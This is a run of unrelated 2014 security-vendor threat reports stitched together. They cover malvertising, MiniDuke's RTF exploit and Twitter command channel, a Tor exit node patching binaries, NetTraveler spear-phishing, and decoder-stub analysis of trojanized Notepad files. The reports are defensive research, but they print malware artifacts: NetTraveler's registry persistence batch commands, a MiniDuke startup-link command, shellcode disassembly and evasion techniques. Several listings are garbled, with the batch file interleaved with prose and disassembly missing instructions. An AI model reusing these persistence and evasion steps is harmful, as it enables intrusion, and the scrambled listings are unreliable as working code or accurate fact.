CryptoWall from encrypting the user s file system and holding it hostage. Had the user not been running Invincea, the attack would likely have been successful, and the only way the user would have had to recover the encrypted files would be to pay the attacker the ransom. This is an effective ransom technique, and one that is paying off well for the attackers, who use the income from the attacks to purchase Real Time Ad Bids on RTB networks to infect more users. Central Hosting of Clean Content Most RTB ad providers allow for advertisers to host their own ad content. This allows advertisers to directly collect web impression data of who is hitting which ads, from where, by which IPs, which useragent strings, and just about anything else you could log about a website visit. In addition, the advertising network doesn t have to utilize their own disk space to host the image files, the flash videos or other online content. RTB networks simply do the auctioneering and redirection to the winning content. Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper It is this weakness in security that malvertisers are taking advantage of. If ad networks were to switch to a model where all content is actually hosted by them (1st party hosting), in a cloud, then the risk of malvertising would drop dramatically. The RubiconProject has a Seller s Cloud, which could be a security model for the RTB industry. It is inherently more secure way of hosting ad content. How to Protect Yourself from Micro-targeted Malvertising Operation DeathClick is an active campaign to micro-target companies via malvertising in order to compromise their networks. Unfortunately, the micro-targeting malvertising technique evades almost all network controls and traditional endpoint anti-virus solutions. Invincea can protect users from this attack type among other targeted and opportunistic web-based threats. For half the price of a candy bar, attackers have the unprecedented ability to deliver malware to you through your web browser simply because of your IP address space and your industry vertical. Most of the attacks featured here were not detected by standard Anti-Virus because the malware hashes constantly change. Web proxy blocking updates, even in real time, will not stop new malvertising landing pages that appear and disappear within minutes. Intelligence feeds from the premier intelligence providers, based on hostname, IP, URL or domain will not be able to block malicious malvertisers quickly enough. Invincea protected users can simply browse and click anything online without fear of compromise or targeted malvertising attacks. Non-Invincea users can attempt to OptOut of directed targeting where you can. European privacy laws for forcing most ad providers to offer the opt-out service; however, you often have to visit each ad provider individually to choose to opt out. Invincea, Inc. Release Date: 10.27.2014 Invincea White Paper Note, that opting out merely places a blocking cookie in your browser. This means that ad providers will not target or retarget based on cookies. But as shown above, the new targeted advertising is via IP intelligence. http://www.rubiconproject.com/privacy/consumer-online-profile-and-opt-out/ http://preferences-mgr.truste.com/ http://www.ghosteryenterprise.com/global-opt-out/ Release Notes 10/27: For clarification, Invincea has added additional notes in this version that the websites shown here and the 3rd party real-time ad networks are being used unwittingly and their resources misappropriated by malvertisers to target companies for persistent remote access, click fraud, and other nefarious activities. This is not a reflection on these companies, nor the services they provide. This paper highlights the problem for greater awareness so the industry collectively can combat this problem perhaps with more effective screening at the source prior to displaying ads. Invincea, Inc. Release Date: 10.27.2014 Miniduke still duking it out At the end of April Microsoft announced that a vulnerability in Word was actively being exploited. This vulnerability occurred in parsing RTF files and was assigned CVE-2014-1761, a thorough analysis of which can be found on the HP Security Research blog. We have since seen multiple cases where this exploit is used to deliver malware and one was particularly interesting as it contained a new variant of MiniDuke (also known as Win32/SandyEva). MiniDuke was first discussed by Kaspersky in March 2013 in their paper The MiniDuke Mystery: PDF 0day Government Spy Assembler 0x29A Micro Backdoorand shortly after in a paper by Bitdefender. Some of the characteristics of MiniDuke such as its small size (20 KB), its crafty use of assembly programming, and the use of zero-day exploits for distribution made it an intriguing threat. Although the backdoor is still quite similar to its previous versions, some important changes were made since last year, the most notable being the introduction of a secondary component written in JScript to contact a C&C server via Twitter. The RTF exploit document The exploit document was named Proposal-Cover-Sheet-English.rtf and is quite bland when compared to the documents that were used in 2013, which were of a political nature. We received the document on April 8th, only three days after the compilation of the MiniDuke payload, dated April 5th in the PE header. The payload remains quite small at only 24 KB. The functionality of the shellcode which is executed by triggering the vulnerability is rather simple and straightforward. After decrypting itself and obtaining the addresses of some functions exported by kernel32.dll, it decrypts and drops the payload in the %TEMP% directory in a file named which is subsequently loaded by calling kernel32!LoadLibraryA. An interesting thing about the shellcode is that before transferring control to any API function it checks the first bytes of the function in order to detect hooks and debugger breakpoints which may be set by security software and monitoring tools. If any of these are found the shellcode skips the first 5 bytes of the function being called by manually executing prologue instructions (mov edi, edi; push ebp; mov ebp, esp) and then jumping to the function code as illustrated below. The next graph presents the execution flow of this malware when the exploitation is successful. As mentioned previously this version of the MiniDuke payload comes with two modules which we refer to as the main module and the TwitterJS module. Execution flow of MiniDuke Main Component Installation Once MiniDuke receives control it checks that the host process is not rundll32.exe and whether the current directory is %TEMP%. If either of those conditions is met the malware assumes it is run for the first time and it proceeds with its installation onto the system. MiniDuke gathers information about the system and encrypts its configuration based on that information, a method also used by OSX/Flashback (this process is called watermarking by Bitdefender). The end result is that it is impossible to retrieve the configuration of an encrypted payload if analyzing it on a different computer. The information collected on infection has not changed since the previous version and consists of the following values: volume serial number (obtained from kernel32!GetVolumeInformationA) CPU information (obtained with the cpuidinstruction) computer name (obtained from kernel32!GetComputerNameA) Once the encrypted version of the malware is created, it is written into a file in the %ALLUSERSPROFILE%\Application Data directory. The name of the file is randomly picked from the following values (you can find this listing and those of the next screenshots on the VirusRadar description: The filename extension is also picked randomly from the following list: To persist on the infected system after reboots, the malware creates a hidden .LNK file in the Startup directory pointing to the modified main module. The name of the .LNK file is randomly drawn from the following values: The .LNKfile is created using a COM object with the IShellLinkA interface and contains the following command: C:\Windows\system32\rundll32.exe %path_to_main_module%, export_function Which gives something like: C:\Windows\system32\rundll32.exe C:\DOCUME~1\ALLUSE~1\APPLIC~1\data.cat, IlqUenn Operation When the malware is loaded by rundll32.exe and the current directory isn t %TEMP%, the malware starts with gathering the same system information as described in the Installation section to decrypt configuration information. As with the previous version of MiniDuke, it checks for the presence of the following processes in the system: If any of these are found in the system the configuration information will be decrypted incorrectly, i.e. the malware will run on the system without any communication to C&C servers. If the configuration data is decrypted correctly, MiniDuke retrieves the Twitter page of @FloydLSchwartz in search of URLs by which to reach C&C server. It looks for the tag X))) on the page (MiniDuke was searching for uri! previous samples) and if the tag is found it decrypts a URL from the data that follows it. The Twitter account @FloydLSchwartz does exist but has only retweets and no strings with the special tag. As the next step, MiniDuke gathers the following information from the infected systems: computer name and user domain name country code of the infected host IP address obtained from http://www.geoiptool.com OS version information domain controller name, user name, groups a user account belongs to a list of AV products installed onto the system Internet proxy configuration version of MiniDuke This information is then sent to the C&C server along with the request to download a payload. The final URL used to communicate with the C&C server looks like this: /create.php?= Those tokens are derived as follows: url_start the URL retrieved from the twitter account rnd_param randomly generated of lower case alphabet characters parameter name in the query string of the URL system_info base64 encoded and encrypted system information An example of such a URL is given below: The payload is downloaded in the file named fdbywu using the urlmon!URLDownloadToFileA API: The downloaded payload is a fake GIF8 file containing encrypted executable. The malware processes the downloaded file in the same way as previous samples of MiniDuke: it verifies the integrity of the file using RSA-2048, then decrypts it, stores in a file and finally executes it. The RSA-2048 public key to verify integrity of the executable inside the GIF file is the same as in the previous version of MiniDuke. Twitter Generation Algorithm In the event that MiniDuke is unable to retrieve a C&C URL from this account, it generates a username to search for based on the current date. The search query changes roughly every seven days and is similar to the backup mechanism in previous versions that was using Google searches. A Python implementation of the algorithm can be found in Appendix B. TwitterJS component The TwitterJS module is extracted by creating a copy of the Windows DLL cryptdll.dll, injecting a block of code into it and redirecting the exported functions to this code. Here is how the export address table of the patched binary looks after modifications. This file is then stored in an Alternate Data Stream (ADS) in NTUSER.DAT in the %USERPROFILE% folder. Finally this DLL is registered as the Open command when a drive is open, which has the effect of starting the bot every time the user opens a disk drive. Below you can find the content of the init.cmd script used by MiniDuke to install TwitterJS module onto the system. When loaded, TwitterJS instantiates the JScript COM object and decrypts a JScript file containing the core logic of the module. Prior to executing it, MiniDuke applies a light encoding to the script: The next images show the result of two separate obfuscations, we can see that the variables have different values. This is probably done to thwart security systems that scan at the entry points of the JScript engine. Result of first obfuscation Result of second obfuscation The purpose of this script is to use Twitter to find a C&C and retrieve JScript code to execute. It first generates a Twitter user to search for; this search term changes every 7 days and is actually a match to the real account name, not the Twitter account name. The bot then visits the Twitter profiles returned by the search and looks for links that end with .xhtml . When one is found, it replaces .xhtml with .php and fetches that link. Information about the computer is embedded in the Accept HTTP header. The first link on the retrieved page should contain base64 data; the name attribute of the link is used as a rolling XOR key to decrypt the JScript code. Finally, MiniDuke calculates a hash of the fetched script and compares it with a hardcoded hash in the TwitterJS script. If they match, the fetched script is executed by calling eval(). The tale of the broken SHA-1 The code hashing algorithm used by the component looks very much like SHA-1 but outputs different hashes (you can find the complete implementation in Appendix B. We decided to search for what was changed in the algorithm; one of our working hypotheses was that the algorithm might have been altered to make collisions feasible. We couldn t find an obvious difference; all the constants and the steps of the algorithm were as expected. Then we noticed that for short messages only the second 32-bit word was different when compared to the original SHA-1. SHA1( test ) : a94a8fe5ccb19ba61c4c0873d391e987982fbbd3 TwitterJS_SHA1( test ) : a94a8fe5dce4f01c1c4c0873d391e987982fbbd3 By examining how this 2nd word was generated we finally discovered that this was caused by a scope issue. As shown below the SHA-1 function used a variable named f: the function Z() is then called which also uses a variable named f without the var keyword, causing it to be treated as a global variable rather than local to the function. The end result is that the value of f is also changed in the SHA-1 function which affects the value of the 2nd word for that round and ultimately the whole hash for long messages. A likely explanation of how this problem came to be is that the variable names were changed to single letters using an automated tool prior to embedding it in the payload. The 2 f variables probably had different names in the original script which avoided the issue. So this leaves us with two takeaways: 1) The difference in the hashing algorithm was unintentional and 2) Always declare your local variables with the var keyword. ;-) Twitter DGA accounts We generated the list of Twitter search terms for 2013-2014 and checked if any of those were registered. At the moment only one exists, @AA2ADcAOAA, which is the TwitterJS account that was generated between August 21st and 27th 2013. This account has no tweets. In an effort to discover potential victims, we registered the Twitter accounts corresponding to the current week both for the main and TwitterJS components and set up tweets with encrypted URLs so that an infected computer would reach out to our server. So far we have received connections via the TwitterJS accounts from four computers located in Belgium, France and the UK. We have contacted national CERTs to notify the affected parties. We detect the RTF exploit document as Win32/Exploit.CVE-2014-1761.D and the MiniDuke components as Win32/SandyEva.G. Appendix A: SHA-1 hashes SHA-1 Description 58be4918df7fbf1e12de1a31d4f622e570a81b93 RTF with Word exploit CVE-2014-1761 b27f6174173e71dc154413a525baddf3d6dea1fd MiniDuke main component (before config encryption) c059303cd420dc892421ba4465f09b892de93c77 TwitterJS javascript code Appendix B &C: DGA algorithms, Twitter DGA accounts The DGA scripts and account lists have been moved to our Github account : https://github.com/eset/malware-research/tree/master/miniduke Author ESET Research, ESET Background Summary After creating and using a new exitmap module, I found downloaded binaries being patched through a Tor exit node in Russia. Tor is a wonderful tool for protecting the identity of journalists, their sources, and even regular users around the world; however, anonymity does not guarantee security. At DerbyCon this year I gave a presentation of my binary patching framework, BDF. Many binaries are hosted without any transport layer security encryption. Some binaries are signed to prevent modification, but most are not. During that presentation, I talked about the MITM patching of binaries during download, and showed how easy it was using BDFProxy. I also mentioned that similar techniques are probably already in use on the Internet. I had only circumstantial evidence until recently. Circumstantial Evidence Microsoft Updates Error I tested BDFProxy against a number of binaries and update processes, including Microsoft Windows Automatic updates. The good news is that if an entity is actively patching Windows PE files for Windows Update, the update verification process detects it, and you will receive error code 0 80200053. This error code indicates a failed signature verification for the downloaded binary. Windows Update produces this error code for three root causes: 1. The file was truncated during download. Very possible. 2. The file was patched during download. Improbable. 3. MS certificate verification is broken. Very improbable. If you Google the error code, the official Microsoft response is troublesome. The first link will bring you to the official Microsoft Answers website. Notice that this question has been viewed over 34,000 times. If you follow the three steps from the official MS answer, two of those steps result in downloading and executing a MS Fixit solution executable. If an adversary is currently patching binaries as you download them, these Fixit executables will also be patched. Since the user, not the automatic update process, is initiating these downloads, these files are not automatically verified before execution as with Windows Update. In addition, these files need administrative privileges to execute, and they will execute the payload that was patched into the binary during download with those elevated privileges. Note: a Windows Home or Enterprise user could configure AppLocker to only run signed binaries. Nullsoft Scriptable Install System (NSIS) Error NSIS provides a form of self-checking that weakly ensures that a binary was not modified after compiling. It issues the following error when the self-checking fails: Looking at Google Trends, this error message is quite common: Notice the top countries where this search is originating: A user can receive an error code for any of the following three root causes: 1. The binary was patched. Improbable. 2. The binary was truncated due to a poor Internet connection. Very probable. 3. An actual error with the install program. Very improbable. This combined circumstantial evidence left me wondering if there is an individual or group actively patching binaries on the greater Internet. Caught Red-Handed To have the best chance of catching modified binaries in transit over the Internet, I needed as many exit points in as many countries as possible. Using Tor would give me this access, and thus the greatest chance of finding someone conducting this malicious MITM patching activity. After researching the available tools, I settled on exitmap. Exitmap is Python-based and allows one to write modules to check exit nodes for various modifications of traffic. Exitmap is the result of a research project called Spoiled Onions that was completed by both the PriSec group at Karlstad University and SBA Research in Austria. I wrote a module for exitmap, named patchingCheck.py, and have submitted a pull request to the official GitHub repository. See the usage example. Soon after building my module, I let exitmap run. It did not take long, about an hour, to catch my first malicious exit node. Details from https://check.torproject.org/exit-addresses ExitNode 8361A794DFA231D863E109FC9EEEF21F4CF09DDD Published 2014-10-22 01:06:40 LastStatus 2014-10-22 02:02:33 ExitAddress 78.24.222.229 2014-10-22 02:08:01 This exit node was very active. Upon further inspection, the original binary is wrapped within another binary similar to the technique mentioned in the research from Flex Grobert, et al, titled Software Distribution Malware Infection Vector (2008). However, these malware authors solved the icon issue noted in the paper by keeping the .rsrc section intact. By using a wrapper for the original binary, the malware authors do not invoke the NSIS error and bypass simple self-checking mechanisms. Out of over 1110 exit nodes on the Tor network, this is the only node that I found patching binaries, although this node attempts to patch just about all the binaries that I tested. The node only patched uncompressed PE files. This does not mean that other nodes on the Tor network are not patching binaries; I may not have caught them, or they may be waiting to patch only a small set of binaries. Leviathan has notified the Tor Project of the issue. Going Forward Companies and developers need to make the conscious decision to host binaries via SSL/TLS, whether or not the binaries are signed. All people, but especially those in countries hostile to Internet freedom, well as those using Tor anywhere, should be wary of downloading binaries hosted in the clear and all users should have a way of checking hashes and signatures out of band prior to executing the binary. NetTraveler APT Gets a Makeover for 10th Birthday We have written about NetTraveler before HERE and HERE. Earlier this year, we observed an uptick in the number of attacks against Uyghur and Tibetan supporters using an updated version of the NetTraveler backdoor. Here's an example of a targeted spear-phishing e-mail directed at Uyghur activists in March 2014. The e-mail has two attachments, a non-malicious JPG file and a 373 KB Microsoft Word .DOC file. File name "Sabiq sot xadimi gulnar abletning qeyin-Qistaqta olgenliki ashkarilanmaqta.doc" b2385963d3afece16bd7478b4cf290ce Size 381,667 bytes The .DOC file, which in reality is a "Single File Web Page" container, also known as "Web archive file", appears to have been created on a system using Microsoft Office - Simplified Chinese. It contains an exploit for the CVE-2012-0158 vulnerability, detected by Kaspersky Lab products as Exploit.MSWord.CVE-2012-0158.db. If run on a vulnerable version of Microsoft Office, it drops the main module as "net.exe" (detected by Kaspersky Lab products as Trojan-Dropper.Win32.Agent.lifr), which in turn installs a number of other files. The main C&C module is dumped into "%SystemRoot%\system32\Windowsupdataney.dll", (detected by Kaspersky as TrojanSpy.Win32.TravNet.qfr). Name WINDOWSUPDATANEY.DLL c13c79ad874215cfec8d318468e3d116 Size 37,888 bytes It is registered as a service (named "Windowsupdata") through a Windows Batch file named "DOT.BAT" (detected by Kaspersky Lab products as Trojan.BAT.Tiny.b): @echo off @reg add "HKEY_LOCAL_MACHINE\ SOFTWARE\Microsoft\Win dows @echo off NT\CurrentVersion\Svcho st" @reg /v Windowsupdata add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v REG_MULTI_SZ /d Windowsupdata REG_MULTI_SZ Windowsupdata Windowsupdata /f @reg add @reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Windowsupdata" /v "HKEY_LOCAL_MACHINE\ SYSTEM\CurrentControlSe ImagePath /t REG_EXPAND_SZ /d %SystemRoot%\System32\svchost.exe -k Windowsupdata /f t\Services\Windowsupdat a" /v ImagePath @reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Windowsupdata" REG_EXPAND_SZ /d DisplayName REG_SZ Windowsupdata %SystemRoot%\System32 \svchost.exe -k @reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Windowsupdata" Windowsupdata @reg ObjectName /t REG_SZ /d LocalSystem /f "HKEY_LOCAL_MACHINE\ SYSTEM\CurrentControlSe @reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Windowsupdata" /v t\Services\Windowsupdat ErrorControl /t REG_DWORD /d 1 /f a" /v DisplayName /t REG_SZ /d @reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Windowsupdata" /v Start /t Windowsupdata @reg REG_DWORD /d 2 /f "HKEY_LOCAL_MACHINE\ SYSTEM\CurrentControlSe @reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Windowsupdata\Parameters" t\Services\Windowsupdat /v ServiceDll /t REG_EXPAND_SZ /d %SystemRoot%\system32\Windowsupdataney.dll /f a" /v ObjectName /t REG_SZ /d LocalSystem /f @reg add make sure the malware isn't running multiple times, it uses the mutex "SD_2013 Is Running!" to mark "HKEY_LOCAL_MACHINE\ SYSTEM\CurrentControlSe presence in the system. Other known mutexes used by older and current variants include: t\Services\Windowsupdat a" /v ErrorControl /t REG_DWORD /d 1 /f Boat-12 Is Running! @reg add "HKEY_LOCAL_MACHINE\ DocHunter2012 Is Running! SYSTEM\CurrentControlSe t\Services\Windowsupdat Hunter-2012 Is Running! a" /v Start /t REG_DWORD /d 2 /fNT-2012 Is Running! @reg add "HKEY_LOCAL_MACHINE\ NetTravler Is Running! NetTravler2012 Is Running! SH-2011 Is Running! ShengHai Is Running! SD2013 is Running! The malware configuration file is written to the "SYSTEM" folder (as opposed to SYSTEM32) and has a slightly new format compared to "older" NetTraveler samples: For the record, here's what an older NetTraveler config file looks like: Obviously, the developers behind NetTraveler have taken steps to try to hide the malware's configuration. Luckily, the encryption is relatively simple to break. The algorithm is as follows: for (i=0;i dds eax 18184100 770b5f58 ntdll!ZwProtectVirtualMemory 18184104 1818411c 18184108 ffffffff 1818410c 181840e8 18184110 181840ec 18184114 00000040 18184118 181840e4 Inside the shellcode, it saves the current stack pointer to 0 18181800 to safely return to the caller. dword ptr ds:[18181800h],ebp Then, it restores the flash.Media.Sound vftable and repairs the corrupted vector object to avoid application crashes. 18184123 b820609f06 18184128 90 eax,69F6020h 18184129 90 1818412a c700c0f22169 dword ptr [eax],offset Flash32_11_7_700_261!AdobeCPGetAPI+0x42ac00 (6921f2c0) 18184133 b800401818 18184138 90 18184139 90 1818413a c700fe030000 eax,18184000h dword ptr [eax],3FEh ds:0023:18184000=3ffffff0 The shellcode also recovers the ESP register to make sure the stack range is in the current thread stack base/limit. 18184140 8be5 esp,ebp 18184142 83ec2c esp,2Ch 18184145 90 18184146 eb2c 18184174 The shellcode calls SetThreadContext to clear the debug registers. It is possible that this is an attempt to bypass mitigations that use the debug registers. 18184174 57 push 18184175 81ece0050000 esp,5E0h 1818417b c7042410000100 dword ptr [esp],10010h 18184182 8d7c2404 edi,[esp+4] 18184186 b9dc050000 ecx,5DCh 1818418b 33c0 eax,eax 1818418d f3aa rep stos byte ptr es:[edi] 1818418f 54 push 18184190 6afe push 0FFFFFFFEh 18184192 b8b308b476 eax,offset kernel32!SetThreadContext call (76b408b3) 18184197 ffd0 The shellcode calls URLDownloadToCacheFileA to download the next stage of the payload, disguised as an image. Mitigation Using EMET may break the exploit in your environment and prevent it from successfully controlling your computer. EMET versions 4.1 and 5.0 break (and/or detect) the exploit in our tests. Enhanced Protected Mode in IE breaks the exploit in our tests. EPM was introduced in IE10. Additionally, the attack will not work without Adobe Flash. Disabling the Flash plugin within IE will prevent the exploit from functioning. Threat Group History The APT group responsible for this exploit has been the first group to have access to a select number of browser-based 0-day exploits (e.g. IE, Firefox, and Flash) in the past. They are extremely proficient at lateral movement and are difficult to track, as they typically do not reuse command and control infrastructure. They have a number of backdoors including one known as Pirpi that we previously discussed here. CVE-2010-3962, then a 0-day exploit in Internet Explorer 6, 7, and 8 dropped the Pirpi payload discussed in this previous case. As this is still an active investigation we are not releasing further indicators about the exploit at this time. Acknowledgement: We thank Christopher Glyer, Matt Fowler, Josh Homan, Ned Moran, Nart Villeneuve and Yichong Lin for their support, research, and analysis on these findings. This entry was posted in Advanced Malware, Exploits, Targeted Attack, Uncategorized and tagged zeroday by Xiaobo Chen, Dan Caselden and Mike Scott. Bookmark the permalink. Operation Cleaver: The Notepad Files You see some strange stuff out there on the networks where attackers are active. Certainly the stash of files unearthed during the Operation Cleaver investigation included much of the bizarre and something of the terrible. Brian Wallace, who led the investigation, shared a mysterious set of samples with me awhile back, and now that Operation Cleaver is public, I'll relate the lurid technical details. The Notepad Files The files in question were found in a dim and dusty directory on a forlorn FTP server in the US, commingled with the detritus of past attack campaigns and successful compromises. They were at once familiar and strange, and they were made still stranger and more perplexing by their location and the circumstances of their discovery. All around them was a clutter of credential dumps, hacking utilities, RATs, and even legitimate software installers, but the files in question were none of these. They were Notepad. Figure 1. The Notepad Doppelg ngers. Of course, a purloined Notepad icon in malware is nothing new, but something different was going on here. Within each of the two families, all of the samples had the same main icon, file size, and version information, yet each one had a distinct hash. At the time, only one of those five hashes existed on the internet: the official 32-bit Simplified Chinese Notepad from Windows XP x64 / Windows Server 2003. Suspecting that the remaining Notepads were derivatives of official Windows files, we associated the other member of the first family with the confirmed legitimate Notepad, and we matched the second family with the 32-bit US English Notepad from Windows 7 (not present in the original set). File Name File Size File Version 83868cdff62829fe3b897e2720204679 notepad.exe 66,048 5.2.3790.3959, Chinese (Simplified, PRC) bfc59f1f442686af73704eff6c0226f0 NOTEPAD2.EXE 179,712 6.1.7600.16385, English (United States) e8ea10d5cde2e8661e9512fb684c4c98 Notepad3.exe 179,712 6.1.7600.16385, English (United States) baa76a571329cdc4d7e98c398d80450c Notepad4.exe 66,048 5.2.3790.3959, Chinese (Simplified, PRC) 19d9b37d3acf3468887a4d41bf70e9aa notepad10.exe 179,712 6.1.7600.16385, English (United States d378bffb70923139d6a4f546864aa61c 179,712 6.1.7600.16385, English (United States) Table 1. A summary of Notepad samples dug from the attackers' FTP drop, with the official Windows 7 Notepad appearing at bottom. It and the official Windows XP/2003 Notepad are represented in green. Things got interesting when we started comparing the Notepads at the byte level. The image below depicts some byte differences between the original Windows 7 Notepad and samples NOTEPAD2.EXE and Notepad3.exe: Figure 2. Comparison of the Windows 7 Notepad (green channel), NOTEPAD2.EXE (red channel), and Notepad3.exe (blue channel). At the Portable Executable (PE) level, these differences translate to changes in the files' timestamps (IMAGE_NT_HEADERS.FileHeader.TimeDateStamp, offset 0xE8 in the figure above), the relative virtual addresses (RVAs) of their entry points (IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint, offset 0x108), and their checksums (IMAGE_NT_HEADERS.OptionalHeader.CheckSum, offset 0x138). The timestamps were rolled back by weeks to months relative to the legitimate progenitors' timestamps; we don't know why. The entry points retreated or advanced by hundreds of bytes to dozens of kilobytes, for reasons we'll explore shortly. And the checksums were all zeroed out, presumably because the file modifications invalidate them, invalid non-zero checksums are a tip-off, and zeroing is easier than recomputing. So what's the story with all those other modifications? In all cases they seem to be confined to the ".text" section, centrally located to avoid the import directory, debug directory, load configuration directory, and import address table. This makes sense as a general precaution, considering that corrupting the import directory would unhelpfully crash the Windows loader during process initialization. The following image illustrates the distribution of modifications relative to these structures. Figure 3. File locations of modifications (red) and the PE structures they avoid (gray). From left to right, the four vertical bars represent the ".text" sections of NOTEPAD2.EXE, Notepad3.exe, Notepad4.exe, and notepad10.exe, as compared to the original Notepad from their respective families. The Import Address Table (IAT), original entry point (OEP, green), malware entry point (EP, yellow), load configuration directory (LC), import directory (Imp), and debug directory (Dbg) are labeled. While the arrangement of the structures varies among families, it's clear from the figure above that the region between structures containing the original entry point has in each case been filled with modifications. Notably, each sample has a short run of consecutive modifications immediately following the new entry point, and then a longer run elsewhere in the region. Presumably, both runs are injected malicious code, and the other modifications may well be random noise intended as a distraction. Since there are no other changes and no appended data, it's reasonable to assume that the code that makes a Notepad act like Notepad is simply gone, and that the samples will behave only maliciously. If true, then these modifications would represent a backdooring or "Trojanization" rather than a parasitic infection, and this distinction implies certain things about how the Notepads were made and how they might be used. Tales from the Code Let's take a look at the entry point code of the malicious Notepads and see if it aligns with our observations. The short answer is, it looks like nonsense. Here's a snippet from Notepad4.exe: 010067E3 eax, 2C7AE239 010067E8 test al, 80 010067EA test eax, 498DBAD5 010067F0 short 01006831 010067F2 eax, B69F4A73 010067F7 edx, esi 010067F9 short 01006800 010067FB 010067FC cl, 91 010067FE cwde 010067FF short 01006803 At this point the code becomes difficult to list due to instruction scission, or branching into the middle of an instruction (analogous to a frameshift error in DNA translation, if that helps). For instance, the JNP instruction at 010067FF is a two-byte instruction, and the JNZ branch at 010067F9, if satisfied, jumps to the JNP instruction's second byte at 01006800. That byte begins a different two-byte instruction, which incorporates what would have otherwise been the first byte of the instruction after the JNP, meaning its successor will start in the middle of JNP's successor, and so on. The two execution paths usually (but don't necessarily) converge after a few instructions. The outcome of these instructions depends on the initial state of the registers, which is technically undefined. Seeing code operate on undefined values typically suggests that the bytes aren't code after all and so shouldn't have been disassembled. But keep looking. Notice that there are no memory accesses (which could raise an access violation), no stack pointer manipulation (which could cause a stack overflow or underflow), no division instructions (which could raise a divide exception), no invalid or privileged instructions, no interrupts or indirect branches--really, no uncontrolled execution transfers of any kind. Even more tellingly, all the possible execution paths seem to eventually flow to this code: 01006877 ch, 15 01006879 eax, 4941B62F 0100687E xchg eax, ebx 0100687F cl, 4B 01006881 01006882 wait 01006883 xchg eax, ecx 01006884 01006885 01006886 db 67 01006887 01006888 cwde 01006889 eax, 24401D66 0100688E 0100688F al, F8 01006891 01005747 01005747 01005748 01005758 01005759 0100575A short 01005768 01005768 call 01005A70 01005A70 01005A71 01005A72 01005A85 01005A86 esi, 000001A9 01005A8B 01005A99 01005A99 push 00000040 01005A9B push 00001000 01005AA0 01005AA1 01005AAF 01005AAF push 01005758 01005A85 01005AB0 01005AB1 01005AC2 push 01005AC4 push E553A458 01005AC9 01005AD7 01005AD7 call 01005AC2 Here the gaps in the listing indicate when the disassembly follows an unconditional branch. The code seems to abruptly change character after the jump at 01006891, transitioning from gibberish to a string of short sequences connected by unconditional branches. This transition corresponds to a jump from the end of the short run of modifications (01006896) after the malware entry point to the beginning of the longer run of modifications (01005747) a few kilobytes before it. (See the third column in Figure 3.) In the disassembly above, the first sequence of green lines is a clear CALL-POP pair intended to obtain a code address in a position-independent way. (An immediate address value marked with a relocation would be the orthodox way to obtain a code pointer, but preparing that would have involved modifying the ".reloc" section.) No way is this construct a coincidence. Furthermore, the blue lines strongly resemble the setup for a VirtualAlloc call (VirtualAlloc(NULL, 0x1A9, MEM_COMMIT, PAGE_EXECUTE_READWRITE)) typical of a deobfuscation stub, and the second set of green lines invoke the CALL-POPped function pointer with what one might readily assume is a hash of the string "VirtualAlloc". (It is.) There's plenty more to observe in the disassembly, but, let's fast-forward past it. windbg -c "bp kernel32!VirtualAlloc ; g" Notepad4.exe... Figure 4. VirtualAlloc breakpoint hit. The parameters on the stack and the state of the registers are as expected. g poi(@esp) ; ba w 1 @eax+@esi-1 ; g... Figure 5. Memory write (hardware) breakpoint hit after the last (0x1A9th) byte is written to allocated memory. And now we can dump the extracted code from memory. It isn't immediately gratifying: 00100000 fabs 00100002 00100007 fnstenv [esp-0C] 0010000B 0010000C ecx, ecx 0010000E cl, 64 00100010 [eax+19], edx 00100013 edx, [eax+19] 00100016 eax, 4 00100019 db D6 edx, 4DF05534 ; = initial XOR key ; old trick to get EIP ; = length in DWORDs ; XOR key is modified after each DWORD The byte 0xD6 at address 00100019 doesn't disassemble, and there aren't any branches skipping over it. But check out the instructions just above it referencing "[eax+19]". The code is in a sense self-modifying, flowing right into a portion of itself that it XOR decodes. The first decoded instruction is "LOOP 00100010" (0xD6 ^ 0x34 = 0xE2, the opcode for LOOP), which will execute the XOR loop body 99 more times (CL - 1 = 0x63 = 99) and then fall through to the newly-decoded code. When we run this decoding stub (which, come to find out, is Metasploit's "shikata ga nai" decoder stub) to completion, we're rewarded with... another decoding stub: 0010001B fcmovu st, st(1) ; a different initial FPU instruction from above 0010001D fnstenv [esp-0C] ; different ordering of independent instructions 00100021 ebx, C2208861 ; a different initial XOR key and 00100026 ; a different code pointer register 00100027 ecx, ecx ; XOR as an alternative to SUB for zeroing 00100029 cl, 5D ; a shorter length 0010002B [ebp+1A], ebx 0010002E ebx, [ebp+1A] 00100031 ebp, FFFFFFFC 00100034 loop 000FFFCA register counter ; decoding starts at a different offset ; SUB -4 as an alternative to ADD +4 ; instruction is partly encoded Here, the first byte to be XORed is the second byte of the LOOP instruction, hence the nonsensical destination apparent in the pre-decoding disassembly above. (For brevity, we cut each listing at the first sign of encoding.) Run that to completion, and then... 00100036 edx, 463DC74D 0010003B fcmovnbe st, st(0) 0010003D fnstenv [esp-0C] 00100041 00100042 ecx, ecx 00100044 cl, 57 00100046 [eax+12], edx ; notice the length gets shorter each time 00100049 eax, 4 0010004C ebx, ds:[47B3DFC9] ; instruction is partly encoded And then... 00100051 fcmovbe st, st(0) 00100053 00100058 fnstenv [esp-0C] 0010005c 0010005d ecx, ecx 0010005f cl, 50 00100061 [eax+18],edx 00100064 eax, 4 00100067 edx, [eax+67] 0010006C eax, E878CF4D 00100071 fcmovnbe st, st(4) 00100073 fnstenv [esp-0C] 00100077 00100078 ecx, ecx 0010007A cl, 49 0010007C [ebx+14], eax 0010007F ebx, 4 00100082 eax, [ebx+10] 00100085 scasd ; incorrect disassembly of encoded byte edx, 869A5D73 ; instruction is partly encoded And then... Finally, at the end of six nested decoders, we see the light: 00100087 00100088 call 0010008D pushad 0010008E ebp, esp 00100090 edx, edx 00100092 edx, fs:[edx+30] ; PTEB->ProcessEnvironmentBlock 00100096 edx, [edx+0C] ; PPEB->Ldr 00100099 edx, [edx+14] ; PPEB_LDR_DATA- ; PLDR_MODULE.BaseDllName.Buffer 00100116 >InMemoryOrderModuleList 0010009C esi, [edx+28] 0010009F movzx ecx, word ptr 